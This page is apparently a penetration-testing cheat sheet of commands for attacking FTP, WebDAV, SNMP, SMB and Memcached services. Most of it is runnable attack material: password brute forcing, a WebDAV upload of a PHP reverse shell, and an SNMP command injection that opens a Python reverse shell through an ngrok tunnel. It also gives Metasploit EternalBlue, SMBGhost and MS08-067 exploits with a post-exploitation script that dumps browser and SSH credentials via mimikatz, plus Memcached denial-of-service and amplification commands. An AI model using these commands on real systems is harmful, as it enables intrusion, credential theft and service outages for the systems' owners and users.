Network Configuration

PreviousMisconfiguration NextApp Platform Configuration

Last updated 1 month ago

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Network Configuration

Check List

Review the applications’ configurations set across the network and validate that they are not vulnerable.
Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities due to unmaintained software or default settings and credentials.

Cheat Sheet

FTP

Identify FTP

nmap -p 21 -sS -sV --mtu 5000 --script banner $WEBSITE

Anonymous Login

nmap -p 21 -sS -sV --mtu 5000 --script ftp-anon $WEBSITE

Brute Force

nmap -p 21 -sS -sV --mtu 5000 --script ftp-brute $WEBSITE

Browser Login

ftp://anonymous:anonymous@$TARGET

Download Files

wget --ftp-user=anonymous --ftp-password=anonymous ftp://$TARGET:21

CLI Login

ftp

open $TARGET 21

USER

> anonymous

PASS

> anonymous

FTP Mode

passive

Download File

get file.txt

Brute Force

hydra -V \
      -L /usr/share/seclists/Usernames/sap-default-usernames.txt \
      -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt ftp://$TARGET:21

Recon Version

msfconsole -qx "
    use auxiliary/scanner/ftp/ftp_version;
    set RHOSTS $WEBSITE;
    run;
    exit"

Anonymous Login

msfconsole -qx "
    use auxiliary/scanner/ftp/anonymous;
    set RHOSTS $WEBSITE;
    run;
    exit"

Brute Force

msfconsole -qx "
    use auxiliary/scanner/ftp/ftp_login;
    set RHOSTS $WEBSITE;
    set USERPASS_FILE /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt;
    run;
    exit"

WebDAV

Identify WebDAV

nmap -p 80,443 \
     -sS -sV --mtu 5000 \
     --script http-methods,http-webdav-scan $WEBSITE

Scan WebDAV

msfconsole -qx "
    use auxiliary/scanner/http/webdav_scanner;
    set PATH /webdav;
    set RHOSTS $WEBSITE;
    exit"

Brute Force

hydra -V \
      -L /usr/share/seclists/Usernames/sap-default-usernames.txt \
      -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt \
      $TARGET http-get /webdav/

Scan WebDAV

davtest -url $WEBSITE

Upload Shell

davtest -url $WEBSITE \
        -uploadfile /usr/share/webshells/php/php-reverse-shell.php \
        -uploadloc shell.php

Listening

nc -lvnp 1234

cadaver $WEBSITE/webdav

PUT Web shell

put /usr/share/webshells/php/php-reverse-shell.php

Listening

nc -lvnp 1234

SNMP

Identify SNMP

nmap -p 161 -sU -sV --mtu 5000 --script snmp-info $WEBSITE

Brute Force

nmap -p 161 -sU -sV --mtu 5000 --script snmp-brute $WEBSITE

Enumerate SNMP Public

snmpwalk -v1 -c public $TARGET

Enumerate SNMP Public

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $TARGET

SNMPv1

snmpset -v1 -c private $TARGET OID s "unk9vvn"

SNMPv2

snmpset -v2c -c private $TARGET sysName.0 s "unk9vvn"

Start Ngrok

ngrok http 4444 >/dev/null 2>&1 &

Define ENV Ngrok

NGHOST=$(curl -s http://127.0.0.1:4040/api/tunnels | jq -r .tunnels[0].public_url | sed 's|https://||')

Inject RCE

snmpset -m +NET-SNMP-EXTEND-MIB \
        -v 2c \
        -c SuP3RPrivCom90 $TARGET 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"$NGHOST\",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Execute Command

snmpwalk -v2c -c SuP3RPrivCom90 $TARGET NET-SNMP-EXTEND-MIB::nsExtendObjects

Enumerate SNMP Public

msfconsole -qx "
    use auxiliary/scanner/snmp/snmp_enum;
    set RHOSTS $WEBSITE;
    run;
    exit"

Enumerate SNMP Private

msfconsole -qx "
    use auxiliary/scanner/snmp/snmp_enum;
    set RHOSTS $WEBSITE;
    set COMMUNITY private;
    run;
    exit"

Enumerate Windows Users

msfconsole -qx "
    use auxiliary/scanner/snmp/snmp_enumusers;
    set RHOSTS $WEBSITE;
    run;
    exit"

Enumerate File Shares

msfconsole -qx "
    use auxiliary/scanner/snmp/snmp_enumshares;
    set RHOSTS $WEBSITE;
    run;
    exit"

SMB

Identify SMB

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-protocols,smb-os-discovery,smb2-capabilities $WEBSITE

Recon Vulns

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-vuln-*,smb-double-pulsar-backdoor $WEBSITE

Brute Force

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-brute $WEBSITE

Enumerate Users and Shares

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-enum-users,smb-enum-shares $WEBSITE

Enumerate Domains and Groups

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-enum-domains,smb-enum-groups $WEBSITE

Enumerate Services and Processes

nmap -p 139,445 \
     -sS -sV --mtu 5000 \
     --script smb-enum-services,smb-enum-processes $WEBSITE

Enum Host

netexec smb $TARGET

Enumerate Shares

enum4linux -a $TARGET

Enumerate Shares

nbtscan -r $TARGET/24

User Enumeration and Null Sessions

smbclient -N -L //$TARGET

User Enumeration and Null Sessions

rpcclient -U "" $TARGET

Detect Version

msfconsole -qx "
    use auxiliary/scanner/smb/smb_version;
    set RHOSTS $TARGET;
    run;
    exit"

Enumerate Users

msfconsole -qx "
    use auxiliary/scanner/smb/smb_enumusers;
    set RHOSTS $TARGET;
    run;
    exit"

Enumerate Shares

msfconsole -qx "
    use auxiliary/scanner/smb/smb_enumshares;
    set RHOSTS $TARGET;
    run;
    exit"

Credential Dumps

msfconsole -qx "
    use auxiliary/scanner/smb/impacket/secretsdump;
    set RHOSTS $TARGET;
    run;
    exit"

Credential Brute Force

msfconsole -qx "
    use auxiliary/scanner/smb/smb_login;
    set RHOSTS $TARGET;
    set SMBUser Administrator;
    set PASS_FILE /usr/share/seclists/Passwords/darkweb2017-top100.txt;
    run;
    exit"

Detect EternalBlue

msfconsole -qx "
    use auxiliary/scanner/smb/smb_ms17_010;
    set RHOSTS $TARGET;
    run;
    exit"

Start Ngrok

ngrok http 4444 >/dev/null 2>&1 &

Define ENV Ngrok

NGHOST=$(curl -s http://127.0.0.1:4040/api/tunnels | jq -r .tunnels[0].public_url | sed 's|https://||')

Cert Spoof

rm -rf /home/$USER/.msf4/loot/*
msfconsole -qx "
    use auxiliary/gather/impersonate_ssl;
    set RHOSTS google.com;
    run;
    exit"

Define ENV Cert

CERT=/home/$USER/.msf4/loot/$(find /home/$USER/.msf4/loot/ -type f -name "*.pem" -printf "%f\n" | head -n 1)

Post-EXP

cat > /tmp/post-exp.rc << EOF
getprivs
getsystem
run multi/gather/firefox_creds DECRYPT=true
run multi/gather/filezilla_client_cred
run multi/gather/ssh_creds
run multi/gather/thunderbird_creds
run multi/gather/wlan_geolocate
mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
bg
EOF

EternalBlue Exploit (ٌWin 7 to 10 - Win Server 2008 to 2012)

msfconsole -qx "
    use exploit/windows/smb/ms17_010_eternalblue;
    set PAYLOAD windows/x64/meterpreter/reverse_https;
    set RHOSTS $TARGET;
    set LHOST $NGHOST;
    set LPORT 443;
    set ReverseListenerBindAddress 127.0.0.1;
    set ReverseListenerBindPort 4444;
    set HandlerSSLCert $CERT;
    set StagerVerifySSLCert true;
    set StageEncoder true;
    set AutoRunScript /tmp/post-exp.rc;
    run -j"

Doublepulsar Exploit (ٌWin 7 to 10 - Win Server 2008 to 2012)

msfconsole -qx "
    use exploit/windows/smb/smb_doublepulsar_rce;
    set PAYLOAD windows/x64/meterpreter/reverse_https;
    set RHOSTS $TARGET;
    set LHOST $NGHOST;
    set LPORT 443;
    set ReverseListenerBindAddress 127.0.0.1;
    set ReverseListenerBindPort 4444;
    set HandlerSSLCert $CERT;
    set StagerVerifySSLCert true;
    set StageEncoder true;
    set AutoRunScript /tmp/post-exp.rc;
    run -j"

SMBGhost Exploit (Win 10)

msfconsole -qx "
    use exploit/windows/smb/cve_2020_0796_smbghost;
    set PAYLOAD windows/x64/meterpreter/reverse_https;
    set RHOSTS $TARGET;
    set LHOST $NGHOST;
    set LPORT 443;
    set ReverseListenerBindAddress 127.0.0.1;
    set ReverseListenerBindPort 4444;
    set HandlerSSLCert $CERT;
    set StagerVerifySSLCert true;
    set StageEncoder true;
    set AutoRunScript /tmp/post-exp.rc;
    run -j"

Net API Exploit (Win XP's)

msfconsole -qx "
    use exploit/windows/smb/ms08_067_netapi;
    set PAYLOAD windows/meterpreter/reverse_hop_http;
    set RHOSTS $TARGET;
    set LHOST $NGHOST;
    set LPORT 443;
    set ReverseListenerBindAddress 127.0.0.1;
    set ReverseListenerBindPort 4444;
    set HandlerSSLCert $CERT;
    set StagerVerifySSLCert true;
    set StageEncoder true;
    set AutoRunScript /tmp/post-exp.rc;
    run -j"

Memcached

Identify Memcached

nmap -p 11211 -sS -sV --mtu 5000 --script memcached-info $WEBSITE

Get Version

echo "version" | nc -vn -w 1 $TARGET 11211

Get Status

echo "stats" | nc -vn -w 1 $TARGET 11211

Get Slabs

echo "stats slabs" | nc -vn -w 1 $TARGET 11211

Get Items

echo "stats items" | nc -vn -w 1 $TARGET 11211

Get Key Names

echo "stats cachedump 1 10" | nc -vn -w 1 $TARGET 11211

Get Info Saved

echo "get $ITEM" | nc -vn -w 1 $TARGET 11211

Denial of Service

for i in {1..10000}; do echo "set key$i 0 0 1024" | nc $TARGET 11211; done

DDoS Amplification

echo -e "\x00\x00\x00\x00\x00\x01\x00\x00stats\n" | nc -u -q 1 $TARGET 11211

Get Stats

memcstat --servers=$TARGET

Get all items

memcdump --servers=$TARGET

Get info inside the item(s)

memccat --servers=$TARGET $ITEM1 $ITEM2 $ITEM3

Extract Slabs

msfconsole -qx "use auxiliary/gather/memcached_extractor;set RHOSTS $TARGET;run;exit"

Denial of Service

msfconsole -qx "use auxiliary/dos/misc/memcached;set RHOSTS $TARGET;run;exit"

PreviousMisconfiguration NextApp Platform Configuration

Last updated 1 month ago

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